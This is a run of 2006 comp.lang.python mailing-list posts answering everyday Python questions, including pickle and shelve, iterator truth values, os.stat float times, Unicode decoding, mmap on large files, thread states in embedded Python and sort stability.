> pickle.dump(var2,f2)
>
Using the 'pickle' module:

    # To store:
    f = open(file_path, "wb")
    pickle.dump(var1, f)
    pickle.dump(var2, f)
    f.close()

    # To load
    f = open(file_path, "rb")
    var1 = pickle.load(f)
    var2 = pickle.load(f)
    f.close()

A more flexible alternative is to use the 'shelve' module. This behaves
like a dict:

    # To store
    s = shelve.open(file_path)
    s["var1"] = "first"
    s["var2"] = [2, 3]
    s.close()

    # To load
    s = shelve.open(file_path)
    print s["var1"] # This prints "first"
    print s["var2"] # This prints [2, 3]
    s.close()

Hope that helps
Matthew



From fredrik at pythonware.com  Fri Oct 27 05:17:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 27 Oct 2006 11:17:20 +0200
Subject: Simple problem with GUI!!
References: <1161940106.084921.187460@i3g2000cwc.googlegroups.com>
Message-ID: <ehsir0$j7r$2@sea.gmane.org>

"mohan" wrote:

> At the end I had to close down my entire python compiler. I am using
> Python compiler with following specs in Windows XP OS.
>
> Pythonwin - Python IDE and GUI Framework for Windows.
> PythonWin 2.2.1 (#34, Feb 25 2003, 11:29:09) [MSC 32 bit (Intel)] on
> win32.
> Portions Copyright 1994-2001 Mark Hammond
>
> Please let me know why is this happening and also if I am missing
> something in the way of programming.

the PythonWin IDE doesn't work properly when you're running programs that
does their own Windows event handling.  this is a problem with PythonWin, not
with Tkinter or your program.  to solve this, you can either

1) check if you can make PythonWin run the program in a separate process

2) explicitly run the program in its own process (using "python.exe" or "pythonw.exe"),
   from the command line.

3) switch to an IDE that runs Python code in a separate process (such as IDLE,
   Wing, and most other modern IDE:s).

</F> 





From pavlovevidence at gmail.com  Thu Oct 26 23:41:16 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 26 Oct 2006 20:41:16 -0700
Subject: Truth value of iterators [was: question about True values)
In-Reply-To: <mailman.1317.1161917943.11739.python-list@python.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<mailman.1302.1161903610.11739.python-list@python.org>
	<1161917196.676362.318480@h48g2000cwc.googlegroups.com>
	<mailman.1317.1161917943.11739.python-list@python.org>
Message-ID: <1161920476.414495.119680@m7g2000cwm.googlegroups.com>


Ben Finney wrote:
> "Carl Banks" <pavlovevidence at gmail.com> writes:
>
> > An iterator is not a sequence, and it's impossible to determine
> > whether an iterator is "empty" in general, except by trying to get
> > an item from it. [...]
> >
> > IMO, this is big time wart in the language.  Iterators have no
> > calculatable truth value; for many other types a truth value doesn't
> > make sense (for instance: function objects, type objects, modules,
> > user-defined types that don't bother with __nonzero__).  Using such
> > objects in a boolean context is almost always an error.
>
> It still seems like a reasonable thing for a programmer to do though,
> even if the language doesn't currently support it.
>
> Would it make sense to *define* a truth value for iterators? Or at
> least to enable those that *are* able to say "I'm empty" to do so in a
> way that boolean contexts can interpret as "false"?

Again, it's impossible to tell if an iterator is empty in general
except by trying to get an item.  You could add a feature to iterators
that fetches an item and stores it, but that would a. be a pain in the
neck for everyone, and b. adversely affect iterators that depend on
outside factors.

> Perhaps allowing (but not requiring) an iterator object to grow a
> 'len' method is the simplest way.

I could live with some iterators defining __len__ or even __nonzero__,
as long as iterators that couldn't determine these things threw an
exception rather than returning a fake value.  I'd rather no iterators
did this, though, because having these options makes it likely that
some programmers will write code supporting only "len-able iterators",
thus hindering polymorphism unnecessarily.  I'd rather people use
iterators as iterators and not as temporally-challenged lists.

However, it's certainly helpful sometimes to know if an iterator has
any items left (say, to possibly avoid some initialization code).  I
don't think this should be a part of iterator protocol, but maybe it'd
be nice if somewhere in the the standard library there was an iterator
type such as this:

class EmptySavvyIterator(object):
    noitem = object()
    def __init__(self,iterable):
        self.iterator = iter(iterable)
        self.storage = self.noitem
    def __iter__(self):
        return self
    def next(self):
        if self.storage is not self.noitem:
            item = self.storage
            self.storage = self.noitem
            return item
        return self.iterator.next()
    def empty(self):
        if self.storage is not self.noitem:
            return False
        try:
            self.storage = self.iterator.next()
        except StopIteration:
            return True
        return False
    # if you must...
    def __nonzero__(self):
        return not self.empty()


Carl Banks



From ericlake at gmail.com  Wed Oct 18 16:01:20 2006
From: ericlake at gmail.com (elake)
Date: 18 Oct 2006 13:01:20 -0700
Subject: Flushing standard input
References: <eh606t$7i6$02$1@news.t-online.com>
Message-ID: <1161201680.409693.326950@f16g2000cwb.googlegroups.com>

I found this.
http://mail.python.org/pipermail/python-list/2006-September/359296.html

You cannot flush input.  The flush method only relates to output.  The
*other* side of the file has to flush *its* output in order for you to
see it as input.



From glassfordm at hotmail.com  Mon Oct  2 10:15:26 2006
From: glassfordm at hotmail.com (Michael Glassford)
Date: Mon, 02 Oct 2006 10:15:26 -0400
Subject: Problems wth os.stat().st_mtime on Mac
In-Reply-To: <451DA3C5.8020407@v.loewis.de>
References: <mailman.941.1159540123.10491.python-list@python.org>
	<451DA3C5.8020407@v.loewis.de>
Message-ID: <45211EFE.1020104@hotmail.com>

Martin v. L?wis wrote:
> Michael Glassford schrieb:
>> Although not mentioned in the Python 2.5 News, apparently there was a
>> similar change on Mac that I'm having some problems with. On the Mac,
>> just as on Windows, os.stat().st_mtime now returns a float instead of an
>> integer.
> 
> It's isn't really new; os.stat_float_times was introduced in Python 2.3.
> What changed in 2.5 is that it is now true. See
> 
> http://docs.python.org/whatsnew/modules.html

Thanks, I wasn't aware of os.stat_float_times. This helps me a lot, 
since I can turn off the floating point times in places until 
incompatible code can be fixed.

> 
>> a) Why the difference between machines?
> 
> You really have to delve into OSX to answer this question. Several
> reasons are possible:
> - there is a change in the operating system implementations

Possible, I guess, although I don't know how to find out and there's 
likely nothing I could do about it even if I did.

> - you are using different Python versions

Python 2.5 on both.

> - you are using different file systems

This is the first thing I thought of, but all of the drives are 
formatted using "Mac OS Extended (Journalled)", which I assumed meant 
they are using the same file system.

> 
>> b) Why do most files on this machine have ".0", while some (generally
>> those I created myself using Python 2.5, I think) don't?
> 
> Hard to tell. Maybe the software that created those files explicitly
> set a time stamp on them, and failed to use the API that supports
> subsecond resolution in setting those time stamps.
> 
>> I understand how the results can be different: the os.stat() function
>> returns a posix.stat_result object, which gives back an integer value
>> for the mtime if you call __str__ or __repr__, or if you iterate on it;
>> and a float if you get the st_mtime attribute. But I would consider it a
>> bug that the results are different: a float should be returned in either
>> case.
> 
> That's for backwards compatibility: You shouldn't use the tuple
> interface anymore, but use st_mtime for new code. This will always
> be a float. OTOH, the tuple interface will continue to return
> integers forever 

<snip>

OK, thanks for the explanation.

Mike



From ewijaya at i2r.a-star.edu.sg  Mon Oct 16 04:04:14 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Mon, 16 Oct 2006 16:04:14 +0800
Subject: Where to find pydoc?
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615AD@mailbe01.teak.local.net>


I tried to call pydoc from my Linux box.
To my realization that it doesn't contain
pydoc.
 
I thought this module should be a default module.
 
Can anybody suggest where can I find the module?
I tried:
 
$ easy_install pydoc
Searching for pydoc
Reading http://sqlobject.org/ <http://sqlobject.org/> 
Reading http://peak.telecommunity.com/dist <http://peak.telecommunity.com/dist> 
Reading http://www.python.org/pypi/pydoc/ <http://www.python.org/pypi/pydoc/> 
Couldn't find index page for 'pydoc' (maybe misspelled?)
Scanning index of all packages (this may take a while)
Reading http://www.python.org/pypi/ <http://www.python.org/pypi/> 
No local packages or download links found for pydoc
error: Could not find suitable distribution for Requirement.parse('pydoc')

 
Hope to hear from you again.
 
Regards,
Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From skip at pobox.com  Wed Oct 25 15:14:48 2006
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 25 Oct 2006 14:14:48 -0500
Subject: question about True values
In-Reply-To: <grO%g.152$1n3.4134@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <17727.47016.632530.720950@montanaro.dyndns.org>


    John> I'm a little confused. Why doesn't s evaluate to True in the first
    John> part, but it does in the second? Is the first statement something
    John> different?

    >>> s = 'hello'
    >>> s == True
    False
    >>> if s:
    ...         print 'hi'
    hi

s is not equal to the boolean object True, but it also doesn't evaluate to
the string class's "nil" value.  Each of the builtin types has such an
"empty" or "nil" value:

    string              ""
    list                []
    tuple               ()
    dict                {}
    int                 0
    float               0.0
    complex             0j
    set                 set()

Any other value besides the above will compare as "not false".

Skip


From stefan.behnel-n05pAM at web.de  Sat Oct 28 18:15:22 2006
From: stefan.behnel-n05pAM at web.de (Stefan Behnel)
Date: Sun, 29 Oct 2006 00:15:22 +0200
Subject: Regular Expression help for parsing html tables
In-Reply-To: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
References: <1162071780.766299.274830@e64g2000cwd.googlegroups.com>
Message-ID: <4543d67b$0$27608$9b4e6d93@newsspool2.arcor-online.net>

Hi Steve,

steve551979 at hotmail.com wrote:
> I am having some difficulty creating a regular expression for the
> following string situation in html. I want to find a table that has
> specific text in it and then extract the html just for that immediate
> table.

Any reason why you can't use a real HTML parser and API (e.g. the one provided
by lxml)? That can really make things easier here.

http://codespeak.net/lxml/
http://codespeak.net/lxml/api.html#parsers
http://codespeak.net/lxml/api.html#trees-and-documents
http://effbot.org/zone/element-index.htm

Stefan


From rtw at freenet.co.uk  Tue Oct 31 07:00:17 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Tue, 31 Oct 2006 06:00:17 -0600
Subject: Where do nested functions live?
References: <Xns986C693B37DFDrtwfreenetREMOVEcouk@216.196.109.145>
	<mailman.1536.1162292996.11739.python-list@python.org>
Message-ID: <Xns986D79E677842rtwfreenetREMOVEcouk@216.196.109.145>

Frederic Rentsch wrote in news:mailman.1536.1162292996.11739.python-
list at python.org in comp.lang.python:

> Rob Williscroft wrote:
>> Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python-
>> list at python.org in comp.lang.python:
>>
>>   

>> def whatever( new_ms ):
>>   class namespace( object ):
>>     pass
>>   scope = namespace()
>>
>>   def inner():
>>     scope.mseconds = new_ms - s * 1000       
>>     m, scope.seconds = divmod (s, 60)
>>     h, scope.minutes = divmod (m, 60)
>>     d, scope.hours = divmod (h, 24)
>>     scope.weeks, scope.days = divmod (d, 7)        
>>
>>   
> 
> This is interesting. I am not too familiar with this way of using 
> objects. Actually it isn't all that different from a list, because a 
> list is also an object. But this way it's attribute names instead of 
> list indexes which is certainly easier to work with. Very good!
> 

>> In short I think an "outer" keyword (or whatever it gets called)
>> will just add another way of doing something I can already do,
>> and potentially makes further refactoring harder.
>>
>>   
> 
> Here I'm lost. What's the advantage of this? It looks more convoluted.

I'll agree that having to explicitly define a namespace class first
does add some convolution.

But if you refer to having to prefix you "outer" variables with "scope."
then this would be the same as claiming that the explict use of self is
convoluted, which is a valid opinion, so fair enough, but I can't say 
that I agree.

It should also be noted that although I have to declare and create a 
scope object. My method doesn't require the attributes passed back from 
the inner function be pre-declared, should I during coding realise
that I need to return another attribute I just assign it in the inner
function and use it in the outer function. I would count that as less
convoluted, YMMV.
 
> And speaking of convoluted, what about efficiency? There is much talk
> of efficiency on this forum. I (crudely) benchmark your previous 
> example approximately three times slower than a simple inner function 
> taking and returning three parameters. It was actually the aspect of
> increased efficiency that prompted me to play with the idea of 
> allowing direct outer writes.

Did you have optimisation turned on ?

As I see it there should be no reason an optimiser couldn't transform 
my code into the same code we might expect from your "outer keyword"
example, as the scope object's type and attributes are all contained 
within (thus known to) the outer function defenition.

Wether CPython's optimiser does this or not, I don't know.

> 
>> Thats -2 import-this points already.
>>
>>   
> 
> Which ones are the two?

Explicit is better than implicit.
There should be one-- and preferably only one --obvious way to do it.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From fredrik at pythonware.com  Mon Oct 30 04:45:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 10:45:38 +0100
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162201096.705529.50330@k70g2000cwa.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>	<mailman.1471.1162196999.11739.python-list@python.org>	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>	<1162198497.288698.244940@k70g2000cwa.googlegroups.com>	<1162199750.797149.317970@m7g2000cwm.googlegroups.com>	<1162200427.209299.4920@m73g2000cwd.googlegroups.com>
	<1162201096.705529.50330@k70g2000cwa.googlegroups.com>
Message-ID: <ei4hk2$rmm$1@sea.gmane.org>

Sachin Punjabi wrote:

> I installed the newer version on D drive and it was previously
> installed on C drive. Also the command which bjorn asked me to execute
> on command line worked very much fine.

what happens if you *type* in the problematic statements at the command 
line, e.g.

 >>> import codecs
 >>> f = codecs.open( "/python24/README.txt", "r", "utf-8" )

if this still gives you the same exception, what output do you do the 
same in a Python interpreter run with the "-v" option:

 > d:
 > cd \python24
 > python -v
...
 >>> import codecs
 >>> f = codecs.open( "README.txt", "r", "utf-8" )

</F>



From http  Thu Oct 26 03:35:38 2006
From: http (Paul Rubin)
Date: 26 Oct 2006 00:35:38 -0700
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
	<1161730045.377608.221250@e3g2000cwe.googlegroups.com>
	<7xr6wvbsf2.fsf@ruckus.brouhaha.com> <ur6wv4jyn.fsf@sbcglobal.net>
Message-ID: <7xy7r3y1f9.fsf@ruckus.brouhaha.com>

Chetan <pandyacus.xspam at xspam.sbcglobal.net> writes:
> > Why on would you think that?!  It is counterintuitive.  fseek beyond
> > whatever is buffered in stdio (usually no more than 1kbyte or so)
> > requires a system call, while mmap is just a memory access.
> And the buffer copy required with every I/O from/to the application. 

Even that can probably be avoided since the mmap region has to start
on a page boundary, but anyway regular I/O definitely has to copy the
data.  For mmap, I'm thinking mostly of the case where the entire file
is paged in through most of the program's execution though.  That
obviously wouldn't apply to every application.

> > IMO it should have some kind of IPC locking mechanism added, in
> > addition to the offset stuff suggested.
> The type of IPC required differs depending on who is using the
> shared region - either another python process or another external
> program. Apart from the spinlock primitives, other types of
> synchronization mechanisms are provided by the OS. However, I do see
> value in providing a shared memory based spinlock mechanism. 

I mean just have an interface to OS locks (Linux futex and whatever
the Windows counterpart is) and maybe also a utility function to do a
compare-and-swap in user space.


From horpner at yahoo.com  Thu Oct 19 12:33:23 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 19 Oct 2006 18:33:23 +0200
Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ)
References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com>
	<Xns98616CE973980duncanbooth@127.0.0.1>
	<1161252764.244873.134740@f16g2000cwb.googlegroups.com>
	<2m8k04-gfe.ln1@nb2.stroeder.com>
	<slrnejf84b.rk.horpner@FIAD06.norwich.edu>
	<pan.2006.10.19.16.33.24.967056@gmx.net>
Message-ID: <slrnejfa84.1lg.horpner@FIAD06.norwich.edu>

On 2006-10-19, Marc 'BlackJack' Rintsch <bj_666 at gmx.net> wrote:
> In <slrnejf84b.rk.horpner at FIAD06.norwich.edu>, Neil Cerutti wrote:
>
>>> Note that 'K\xc3\xb6ni'.decode('utf-8') returns a Unicode
>>> object. With print this is implicitly converted to string. The
>>> char set used depends on your console
>> 
>> No, the setting of the console encoding (sys.stdout.encoding) is
>> ignored.
>
> Nope, it is not ignored.  This would not work then::
>
>   In [2]: print 'K\xc3\xb6nig'.decode('utf-8')
>   K?nig
>
>   In [3]: import sys
>
>   In [4]: sys.getdefaultencoding()
>   Out[4]: 'ascii'

Interesting! Thanks for the correction.

-- 
Neil Cerutti
This scene has a lot of activity.  It is busy like a bee dive.
--Michael Curtis


From jcd at sdf.lonestar.org  Thu Oct 19 14:14:33 2006
From: jcd at sdf.lonestar.org (J. Clifford Dyer)
Date: Thu, 19 Oct 2006 12:14:33 -0600
Subject: OT--Shuffling, was Re: invert or reverse a string... warning this
	is a rant
References: <mailman.764.1161275760.11739.python-list@python.org>
Message-ID: <eh8faa$df6$1@emma.aioe.org>

Demel, Jeff wrote:

 > P.S.  How about a string.shuffle() method that splits the string in half
 > into two new strings str1 and str2, and then recompiles the string by
 > alternating one character from each str1 and str2 as it goes?  Like
 > shuffling cards.  ;)

Jeff,

To my mind that would be the exact opposite of shuffling a deck of 
cards.  In your case, each time, you know exactly which stack the card 
comes from, but not which card out of the stack.  When you shuffle 
cards, it's more like you know exactly which card is coming next off of 
each stack, you just don't know which stack it's pulling from next.

import random

def shuffle(seq):
	midpoint = len(seq)/2
	stack1 = seq[:midpoint]
	stack2 = seq[midpoint:]
	shuffled = []
	while stack1 and stack2:
		next = random.choice((stack1, stack2))
		shuffled.append(next.pop())
	if stack1:
		shuffled.extend(stack1)
	else:
		shuffled.extend(stack2)
	return shuffled


From jarrod.roberson at gmail.com  Wed Oct  4 13:50:16 2006
From: jarrod.roberson at gmail.com (fuzzylollipop)
Date: 4 Oct 2006 10:50:16 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <1159984216.052926.207290@i42g2000cwa.googlegroups.com>


Giovanni Bajo wrote:
> Hello,
>
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
>
> Does this smell "Bitkeeper fiasco" to anyone else than me?
> --
> Giovanni Bajo

No just ignorance you your part!

Jira is given away for free to open source projects that want to use
it. And it just happens to be one of the best issue trackers on the
market, free or paid or opens source or not.



From hanumizzle at gmail.com  Tue Oct  3 19:47:15 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Tue, 3 Oct 2006 19:47:15 -0400
Subject: kudos
Message-ID: <463ff4860610031647uf4307e3wea89d41c78040099@mail.gmail.com>

After a long hiatus, I finally found *something* as a vehicle to learn
Python. My friends and I are (hopefully) getting together to play FEAR
RPG and I decided to use Python to write chargen utilities and such.

What do I have to say? Except for not having TrueClosures, which can
be emulated with objects anyway, way better than Perl. Of course I
still develop and one-line frob with Perl, but Python might even take
over in the latter capacity if I become fluent as I have in Perl. The
community is also a significant advantage always, which is why I use
Vector Linux as well. In principle, I like Ruby in some ways better
than I do Python, but as far as pragmatism goes: Py for teh win!
ipython just owns house on irb. Had to say it. reStructuredText looks
like it might also be very useful to me.

Greetings to all.

--
What if Iraqis were blastocysts?


From spe.stani.be at gmail.com  Mon Oct 30 06:03:33 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 30 Oct 2006 03:03:33 -0800
Subject: wxFrame don't have Bind attribute ??
In-Reply-To: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
References: <1162189869.503325.51280@b28g2000cwb.googlegroups.com>
Message-ID: <1162206213.179948.44680@e3g2000cwe.googlegroups.com>

Jia Lu schreef:

> Hi all
>  I am using wxPy 2.6.3.2-2, But when run an application with self.Bind
> , I got an error that there is no Bind.
>
>  How can I fix it. thanx

You can not bind an event to a wx application. You must bind an event
to a wx frame or control. You'll get more and better support on the
wxpython-user mailing list.

Stani

--
http://pythonide.stani.be



From johnjsal at NOSPAMgmail.com  Mon Oct 30 14:50:30 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 19:50:30 GMT
Subject: checking if a sqlite connection and/or cursor is still open?
In-Reply-To: <STp1h.200$1n3.4433@news.tufts.edu>
References: <STp1h.200$1n3.4433@news.tufts.edu>
Message-ID: <aIs1h.203$1n3.4348@news.tufts.edu>

John Salerno wrote:
> Is there a way to check if a SQLite connection and cursor object are 
> still open? I took a look at the docs and the DB API but didn't see 
> anything like this.
> 
> Thanks.

Well, I might have somewhat solved this problem. Since SQLite allows you 
to use execute* methods directly on the connection object (thus no need 
to create a cursor object), all I need to do is call connection.close() 
and this doesn't seem to raise an error even if the connection has 
already been closed.

I'm still curious if there's a way to check for an open connection, but 
it seems like without the cursor object, the task is much easier.


From neoedmund at gmail.com  Sun Oct 15 22:29:18 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 19:29:18 -0700
Subject: python's OOP question
In-Reply-To: <mailman.550.1160965386.11739.python-list@python.org>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
Message-ID: <1160965758.324644.131920@i42g2000cwa.googlegroups.com>

I'm trying to achieve a higher level of "reusability". Maybe it cannot
be done in python? Can anybody help me?


Ben Finney wrote:
> "neoedmund" <neoedmund at gmail.com> writes:
>
> > There's a program, it's result is "unexpected aaa", i want it to be
> > "expected aaa". how to make it work?
> >
> > [code]
> >
> > class C1(object):
> > 	def v(self, o):
> > 		return "expected "+o
> >
> > class C2(object):
> > 	def v(self, o):
> > 		return "unexpected "+o
> > 	def m(self):
> > 		print self.v("aaa")
> >
> > class C3(object):
> > 	def nothing(self):
> > 		pass
> >
> > def test1():
> > 	o = C3()
> > 	setattr(o,"m",C2().m)
> > 	setattr(o,"v",C1().v)
> > 	o.m()
>
> Setting attributes on an object externally isn't the same thing as
> making bound methods of that object.
>
> In this case, 'o.m' is a bound method of a C2 instance, and has no
> knowledge of C1. 'o.v' is a bound method of a C1 instance, and has no
> knowledge of C2. Neither of them has any knowledge of C3.
>
> What is it you're trying to achieve?
>
> --
>  \     "Unix is an operating system, OS/2 is half an operating system, |
>   `\       Windows is a shell, and DOS is a boot partition virus."  -- |
> _o__)                                                  Peter H. Coffin |
> Ben Finney



From debl2NoSpam at verizon.net  Sun Oct 29 20:23:47 2006
From: debl2NoSpam at verizon.net (David Lees)
Date: Mon, 30 Oct 2006 01:23:47 GMT
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
Message-ID: <Duc1h.14965$DH5.6110@trnddc04>

John Coleman wrote:
> Greetings,
>    My copy of the second edition of Chun's "Core Python Programming"
> just arrived from Amazon on Friday. What really jumped out at me is an
> interesting feature about how it sequences its topics, namely,
> (user-defined) functions are not introduced until chapter 11, fully 400
> pages into the book. This contrasts strongly with a traditional
<snip>

Pages 48-50 is a section titled: 'Functions' and he gives both a top 
level description and example.  True he does not have a chapter devoted 
to functions still page 400, but he does give examples of usage along 
the way.

david lees

> 


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 11:07:27 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 15:07:27 GMT
Subject: Python component model
In-Reply-To: <mailman.211.1160488416.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<mailman.186.1160469729.11739.python-list@python.org>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.211.1160488416.11739.python-list@python.org>
Message-ID: <PGOWg.7481$Y24.1944@newsread4.news.pas.earthlink.net>

Tim Chase wrote:
>> There's no doubt that Python's excellent introspection mechanism 
>> allows an outside RAD-like tool to inspect the workings of any Python 
>> object. But that does not make it a component model in my original use 
>> of the term on this thread. A RAD tool needs to know what properties 
>> and events within a class can be manipulated visually, and it needs to 
>> be able to serialize those properties and events so that they are set 
>> at run-time automatically once an object is created.
> 
> A little visual inspection of some objects:
> 
> tim at oblique:~$ python
> Python 2.3.5 (#2, Sep  4 2005, 22:01:42)
> [GCC 3.3.5 (Debian 1:3.3.5-13)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>  >>> class Person(object):
> ...     def __init__(self, name, age=None):
> ...             self.name = name
> ...             self.age = age
> ...     def whoami(self):
> ...             if self.age is not None:
> ...            return "%s (%i)" % (
> ...                self.name,
> ...                self.age)
> ...             return self.name
> ...
>  >>> p = Person("Sandy")
>  >>> [s for s in dir(p) if not s.startswith('_') and 
> callable(eval('p.%s' % s))]
> ['whoami']
>  >>> [s for s in dir(p) if not s.startswith('_') and not 
> callable(eval('p.%s' % s))]
> ['age', 'name']
> 
> Thus, you have the ability to find an object's methods/events (things 
> that are callable()), and its properties (things that are not 
> callable()).  Any "RAD" tool that wants can pull these properties, just 
> as my command-line RAD tool can ;)

Not all attributes are component properties in typical Visual RAD tool. 
In most visual RAD tools which I have used a component property is a 
publicly exposed type/name which may or may not have the backing of an 
actual data member and does have a function to get the type's value if 
the property is readable and does have a function associated with it to 
set the type's value if the property is writable. This is very close to 
the class properties in Python. The difference is that normally a type 
must be associated with a property whereas in Python, as I understand 
it, the type of a class property is unknown.

Furthermore by a component event I do not mean methods on the event 
creator's side but rather an event source. This would look something 
like a tuple of callable functions of a particular signature to which an 
event sink could add an event handler so that when a particular event 
occurred on the event source the event handlers added to the event 
source would each be called.

> 
> As for serializing them,
> 
>  >>> import shelve
>  >>> d = shelve.open('tmp/stuff.shlv')
>  >>> d['person'] = p
>  >>> p = 'hello'
>  >>> p
> 'hello'
>  >>> p = d['person']
>  >>> p.whoami()
> 'Sandy'
>  >>> p.age = 42
>  >>> p.whoami()
> 'Sandy (42)'
>  >>> d['person'] = p
>  >>> d.close()
>  >>> p = 'hello2'
>  >>> p
> 'hello2'
>  >>> d = shelve.open('tmp/stuff.shlv')
>  >>> p = d['person']
>  >>> p.whoami()
> 'Sandy (42)'
> 
> which seems to work fine for me.  This can be used for creating all 
> sorts of flavors of objects at design time, storing them, and then 
> restoring them at runtime.

I realize that Python has excellent abilities in all these areas, 
including serialization. But a component model for serialization must 
not only have the ability of serializing and deserializing all of the 
component's data, as well as any base classes, it must also have a means 
of allowing the class itself to specify which data needs to be 
serialized and which not, as well as allow for the class to seriliaze 
all or part of its own data.


From belred at gmail.com  Mon Oct 23 09:32:07 2006
From: belred at gmail.com (Bryan)
Date: Mon, 23 Oct 2006 06:32:07 -0700
Subject: python thread state
Message-ID: <ehig51$8ud$1@sea.gmane.org>

hi,

i'm trying to write a multithreaded embedded python application and i'm
having some trouble.  i found this article "embedding python in
multi-threaded c/c++ applications" in the python journal
(http://www.linuxjournal.com/article/3641) but there still seems to be a
step missing for me.

each time a function in my c module is called, it's called on a different c
thread.  i would then like to call a function in an embedded python script.
from my understanding of the article, you can associate a python script
with a c thread by calling PyThreadState_New as in this code:

// save main thread state
PyThreadState * mainThreadState = NULL;
mainThreadState = PyThreadState_Get();
PyEval_ReleaseLock();

// setup for each thread
PyEval_AcquireLock();
PyInterpreterState * mainInterpreterState = mainThreadState->interp
PyThreadState * myThreadState = PyThreadState_New(mainInterpreterState);
PyEval_ReleaseLock();

//execute python code
PyEval_AcquireLock();
PyThreadState_Swap(myThreadState);
# execute python code
PyThreadState_Swap(NULL);
PyEval_ReleaseLock();


unfortunately, this doesn't work for me because each time i get called to
execute python code, i'm in a new c thread and PyThreadState_Swap seems to
want to be executed in the same c thread that PyThreadState_New was
executed in.  if this isn't the case, please let know.  

i then called PyThreadState_New each time i wanted to call a python function
in the script, but PyThreadState_New wipes out, or rather gives you a new
global dictionary, because i lost all my global variables.  the article
assumes you have one c thread per python thread state, but i want multiple
c threads per python thread state. Is there a c api function that will
associate a c thread without resetting the global dictionary?

thank you,

bryan



From fdu.xiaojf at gmail.com  Fri Oct 20 02:08:40 2006
From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com)
Date: Fri, 20 Oct 2006 14:08:40 +0800
Subject: How to upgrade python from 2.4.3 to 2.4.4 ?
Message-ID: <453867E8.4080702@gmail.com>

Hi,

I just want to upgrade my python version from 2.4.3 to 2.4.4,do I need 
to uninstall python 2.4.3 first ?

I'd rather not to do so, because I have installed some other python 
packages for python2.4.3.


Thanks.

xiaojf


From carsten at uniqsys.com  Tue Oct 24 11:41:37 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Tue, 24 Oct 2006 11:41:37 -0400
Subject: Sorting by item_in_another_list
In-Reply-To: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>
References: <mailman.1034.1161665444.11739.python-list@python.org>
	<ehkfmj$2ol$1@enyo.uwa.edu.au>
	<7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>
Message-ID: <1161704497.2516.12.camel@dot.uniqsys.com>

On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote:
> At Tuesday 24/10/2006 04:35, Cameron Walsh wrote:
> 
> > > c = set(B)
> > > a.sort(key=c.__contains__, reverse=True)
> > >
> > > Tim Delaney
> >
> >Depressingly simple.  I like it.
> 
> ...and fast!

...and not guaranteed to be correct:

http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states:

"""
Whether the sort() method is stable is not defined by the language (a
sort is stable if it guarantees not to change the relative order of
elements that compare equal). In the C implementation of Python, sorts
were stable only by accident through Python 2.2. The C implementation of
Python 2.3 introduced a stable sort() method, but code that intends to
be portable across implementations and versions must not rely on
stability.
"""

-Carsten




